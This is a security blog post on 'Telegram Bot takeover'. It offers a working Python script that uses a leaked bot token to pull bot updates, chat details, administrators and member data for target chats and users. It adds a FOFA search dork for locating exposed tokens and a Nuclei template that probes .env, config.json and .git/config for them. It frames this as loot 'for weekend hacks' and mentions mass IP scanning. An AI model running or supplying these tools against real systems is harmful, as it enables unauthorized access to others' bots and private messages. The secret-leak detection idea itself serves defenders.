⚠️ This article is only for educational and OSINT investigation purposes. Author not responsible for any misuse of it!
TBOT_OSINT Python Script Execution


Subdomain takeover ❌ Telegram Bot takeover ✅


🪛 Python OSINT Script for Telegram BOT Hunting
import asyncio
import aiohttp
import json
import webbrowser
import sys
from aiohttp import web
# --- RUNTIME INPUTS ---
print("TELEGRAM BOT Script by Legion Hunter")
BOT_TOKEN = input("Enter BOT_TOKEN: ").strip() or None
CHAT_ID = input("Enter TARGET CHAT_ID (Enter for null): ").strip() or None
USER_ID = input("Enter TARGET USER_ID (Enter for null): ").strip() or None
PORT = 8080
if not BOT_TOKEN:
print("FATAL ERROR: BOT_TOKEN is required.")
sys.exit(1)
# --- WEB INTERFACE (MODERN DARK THEME) ---
HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Bot OSINT Investigator</title>
<style>
:root {
--bg: #0d1117;
--card-bg: #161b22;
--border: #30363d;
--text-main: #c9d1d9;
--text-dim: #8b949e;
--accent: #58a6ff;
--success: #238636;
--row-hover: #1c2128;
}
body {
background-color: var(--bg);
color: var(--text-main);
font-family: -apple-system, sans-serif;
margin: 0;
padding: 40px;
}
.header { margin-bottom: 30px; border-bottom: 1px solid var(--border); padding-bottom: 20px; }
.grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(480px, 1fr));
gap: 20px;
}
.card {
background: var(--card-bg);
border: 1px solid var(--border);
border-radius: 8px;
display: flex;
flex-direction: column;
overflow: hidden;
}
.card-header {
padding: 12px 20px;
background: rgba(255, 255, 255, 0.02);
border-bottom: 1px solid var(--border);
display: flex;
justify-content: space-between;
align-items: center;
}
.method-title { font-size: 11px; font-weight: 800; color: var(--accent); letter-spacing: 1px; }
table { width: 100%; border-collapse: collapse; font-size: 13px; }
th { text-align: left; padding: 10px 20px; color: var(--text-dim); border-bottom: 1px solid var(--border); font-weight: 500; }
td { padding: 8px 20px; border-bottom: 1px solid var(--border); }
tr:hover { background: var(--row-hover); }
.list-container { padding: 15px; }
.list-entry {
background: #0d1117;
border: 1px solid var(--border);
border-radius: 4px;
padding: 8px;
margin-bottom: 5px;
font-size: 12px;
}
.status-badge { font-size: 10px; font-weight: bold; color: var(--success); }
</style>
</head>
<body>
<div class="header">
<h1>Telegram Bot OSINT Investigator by Legion Hunter</h1>
<p style="color: var(--text-dim)">Intelligence Analysis Dashboard</p>
</div>
<div class="grid" id="main-grid"></div>
<script>
function formatData(val) {
if (val === true) return '<span style="color:var(--success)">TRUE</span>';
if (val === false) return '<span style="color:var(--text-dim)">FALSE</span>';
if (val === null || val === "" || (Array.isArray(val) && val.length === 0)) return '<i>null</i>';
if (typeof val === 'object') return '<span style="font-family:monospace; font-size:10px;">OBJECT DATA</span>';
return val;
}
function renderArray(arr) {
return `<div class="list-container">` + arr.map(item => {
const label = item.emoji || item.user?.username || item.status || "Record";
return `<div class="list-entry"><strong>${label}</strong>: ${JSON.stringify(item).substring(0,60)}...</div>`;
}).join('') + `</div>`;
}
async function loadResults() {
const r = await fetch('/api/data');
const results = await r.json();
const grid = document.getElementById('main-grid');
Object.entries(results).forEach(([method, data]) => {
const card = document.createElement('div');
card.className = 'card';
const body = data.result;
let htmlContent = '';
if (Array.isArray(body)) {
htmlContent = renderArray(body);
} else if (typeof body === 'object' && body !== null) {
let rows = Object.entries(body).map(([k, v]) => `
<tr>
<td style="color:var(--text-dim); width:40%; font-family:monospace;">${k}</td>
<td>${formatData(v)}</td>
</tr>
`).join('');
htmlContent = `<table><thead><tr><th>Property</th><th>Value</th></tr></thead><tbody>${rows}</tbody></table>`;
} else {
htmlContent = `<div style="padding:20px; color:var(--text-dim)">No data found or target unavailable.</div>`;
}
card.innerHTML = `
<div class="card-header">
<span class="method-title">${method.toUpperCase()}</span>
<span class="status-badge">COMPLETED</span>
</div>
${htmlContent}
`;
grid.appendChild(card);
});
}
loadResults();
</script>
</body>
</html>
"""
# --- BACKEND LOGIC ---
api_cache = {}
async def fetch_api(session, method, params=None):
url = f"https://api.telegram.org/bot{BOT_TOKEN}/{method}"
try:
async with session.get(url, params=params, timeout=10) as resp:
data = await resp.json()
if data.get("ok"):
api_cache[method] = data
except Exception:
pass
async def run_investigation():
connector = aiohttp.TCPConnector(ssl=False)
async with aiohttp.ClientSession(connector=connector) as session:
# Standard Bot OSINT
tasks = [
fetch_api(session, "getMe"),
fetch_api(session, "getWebhookInfo"),
fetch_api(session, "getMyCommands"),
fetch_api(session, "getMyName"),
fetch_api(session, "getMyDescription"),
fetch_api(session, "getMyShortDescription"),
fetch_api(session, "getMyDefaultAdministratorRights"),
fetch_api(session, "getChatMenuButton"),
fetch_api(session, "getForumTopicIconStickers"),
fetch_api(session, "getUpdates")
]
# Target Specific OSINT
if CHAT_ID:
tasks.append(fetch_api(session, "getChat", {"chat_id": CHAT_ID}))
tasks.append(fetch_api(session, "getChatAdministrators", {"chat_id": CHAT_ID}))
tasks.append(fetch_api(session, "getChatMemberCount", {"chat_id": CHAT_ID}))
if USER_ID:
tasks.append(fetch_api(session, "getUserProfilePhotos", {"user_id": USER_ID}))
if CHAT_ID:
tasks.append(fetch_api(session, "getChatMember", {"chat_id": CHAT_ID, "user_id": USER_ID}))
await asyncio.gather(*tasks)
async def start_server():
await run_investigation()
app = web.Application()
app.router.add_get('/', lambda r: web.Response(text=HTML_TEMPLATE, content_type='text/html'))
app.router.add_get('/api/data', lambda r: web.json_response(api_cache))
runner = web.AppRunner(app)
await runner.setup()
await web.TCPSite(runner, 'localhost', PORT).start()
print(f"OSINT Dashboard live at http://localhost:{PORT}")
webbrowser.open(f"http://localhost:{PORT}")
while True: await asyncio.sleep(3600)
if __name__ == "__main__":
try:
asyncio.run(start_server())
except KeyboardInterrupt:
print("Investigation halted.")This was only demo, you can customize yourself & add more endpoints to retrieve information.
Refer API docs at : core.telegram.org/bots/api
Read the documentation carefully for more juicy stuff and what can be done if XYZ permission present associated with the bot.
🔍 FOFA Dorking
Site: en.fofa.info
New to FOFA Dorking ? Check complete series from beginning
Time to get some juicy data for weekend hacks :)
Just this single fofa dork, that's it!
body="api.telegram.org" && body="BOT_TOKEN" && body="CHAT_ID"

You can test ethically by creating your own BOT


This is the token that shouldn't be hardcoded / exposed in the client side.
Nuclei Template 😈
id: telegram-bot-token-leak
info:
name: Telegram Bot Token Leak
author: Legion Hunter
severity: high
description: |
Detects exposed Telegram Bot API tokens, Chat IDs, and endpoint
references to api.telegram.org. This information can be used
to gain unauthorized access to bot functions and message history.
tags: osint, leak, telegram, token, exposure
http:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}/js/app.js"
- "{{BaseURL}}/main.js"
- "{{BaseURL}}/.env"
- "{{BaseURL}}/config.json"
- "{{BaseURL}}/.git/config"
extractors:
- type: regex
name: bot_token
part: body
regex:
- "[0-9]{8,10}:[a-zA-Z0-9_-]{35}"
- type: regex
name: chat_id
part: body
regex:
- 'chat_id["'']?\s*[:=]\s*["'']?(-?\d+)'
matchers-condition: or
matchers:
- type: word
words:
- "api.telegram.org"
part: body
- type: regex
name: token_found
regex:
- "[0-9]{8,10}:[a-zA-Z0-9_-]{35}"
part: body💻 Run on all IPs
- Real attackers have setup bots that run 24/7 to continously scan VPS provider IP subnet/range.
- It can be from simple SSH brute force to finding leak stuff like this.

🤘 Good luck, will meet again
